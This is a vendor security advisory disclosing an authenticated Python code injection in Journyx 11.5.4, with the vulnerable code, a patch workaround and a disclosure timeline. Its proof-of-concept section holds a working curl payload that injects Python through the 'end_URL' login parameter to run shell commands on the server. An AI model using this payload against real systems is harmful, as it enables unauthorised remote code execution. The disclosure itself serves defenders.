KL-001-2024-008: Journyx Authenticated Remote Code Execution
Title: Journyx Authenticated Remote Code Execution
Advisory ID: KL-001-2024-008
Publication Date: 2024.08.07
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-008.txt
1. Vulnerability Details
      Affected Vendor: Journyx
      Affected Product: Journyx (jtime)
      Affected Version: 11.5.4
      Platform: GNU/Linux
      CWE Classification: CWE-94: Improper Control of Generation of Code
                          ('Code Injection'), CWE-95: Improper Neutralization
                          of Directives in Dynamically Evaluated Code
                          ('Eval Injection')
      CVE ID: CVE-2024-6891
2. Vulnerability Description
      Attackers with a valid username and password can exploit
      a python code injection vulnerability during the natural
      login flow.
3. Technical Description
      When utilizing a username and password to authenticate to
      Journyx via the web interface, an HTTP request is sent to
      "wtlogin.pyc" containing the credentials. Upon a successful
      login, the user is redirected to "wte.pyc" or the URL specified
      in the "end_URL" body parameter if one is supplied.
      An additional condition is present, however. If the
      "end_URL" value is over 1,000 characters, the value is instead
      interpolated into a python "import" statement which is passed
      into the "exec()" function, thereby executing arbitrary code.
      Code snippet from "wtlogin.pyc":
      finalURL = end_URL + '.pyc?' + genlib.URLEncodeParams(params)
      if len(finalURL) < 1000:
          raise genlib.HTTP302Found(finalURL)
      else:
          exec('import %s; %s.main()' % (end_URL, end_URL))
      The "params" variable is derived from the query parameters
      included in the login request, so the size of "finalURL"
      is trivial to inflate.
4. Mitigation and Remediation Recommendation
      The vendor reports that this issue was remediated in Journyx
      v12.0.0, which is the first wholly cloud-hosted version of
      this product.
      For self-hosted instances of JournyX, additional security
      measures (such as input sanitization) can be added by monkey
      patching the PYC file responsible for handling request
      parameters (mycgi.pyc).
      1) Rename "mycgi.pyc" to an alternative name, e.g. mycgi_original.pyc.
           $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py
      2) Create a file named "mycgi.py" in the same directory.
           $ touch wt_tar/pi/pylib/wtlib/mycgi.py
      3) Insert the following code into the newly created "mycgi.py"
           from mycgi_original import *
           from html import escape
           def patch():
               pdata = _parse()
               # force the value of "end_URL" to always be "wte"
               if pdata.get('end_URL'): pdata['end_URL'] = ['wte']
               # sanitize user-controlled error messages
               for parameter in ['error', 'error_description']:
                   if not pdata.get(parameter): continue
                   pdata[parameter] = [escape(value) for value in pdata[parameter]]
               return pdata
           _parse = parse
           parse  = patch
      Once these changes have been made, the JournyX native "mycgi.parse()"
      function will be overwritten with the "patch()" function located in the
      "mycgi.py" file. Relevant to this advisory, the patch provided above
      will force the "end_URL" parameter to always have a value of "wte".
5. Credit
      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.
6. Disclosure Timeline
      2024.01.31 - KoreLogic notifies Journyx support of the intention to
                   report vulnerabilities discovered in the licensed,
                   on-premises version of the product.
      2024.01.31 - Journyx acknowledges receipt.
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share
                   vulnerability details.
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.
      2024.02.09 - Journyx responds that this vulnerability has been remediated
                   in the cloud-hosted version of the product.
      2024.02.21 - KoreLogic offers to test the cloud version to confirm
                   the fix; no response.
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.
      2024.07.09 - Journyx confirms version number of the remediation.
      2024.08.07 - KoreLogic public disclosure.
7. Proof of Concept
     By leveraging the existing "web" python module, it is possible
     to see the output of shell commands as returned by "os.popen()".
     [attacker@box]$ HOST='redacted.com'; PORT='8080'; USERNAME='employee'; PASSWORD='password123'; COMMAND='id'; \
                     curl -x http://localhost:8080 -X POST \
                          -d 
"wtusername=$USERNAME&wtpassword=$PASSWORD&end_URL=os,web%0aweb.response.text%3dos.popen('$COMMAND').read()#&timestamp=9999999999&pageid=$RANDOM" 
\
                          -H 'Cookie: wtsession=foobar' \
"http://$HOST:$PORT/jtcgi/wtlogin.pyc?z=$(printf 'Z%.0s' {1..1000})"
     uid=1000(foo) gid=1000(foo) 
groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
     [attacker@box]$
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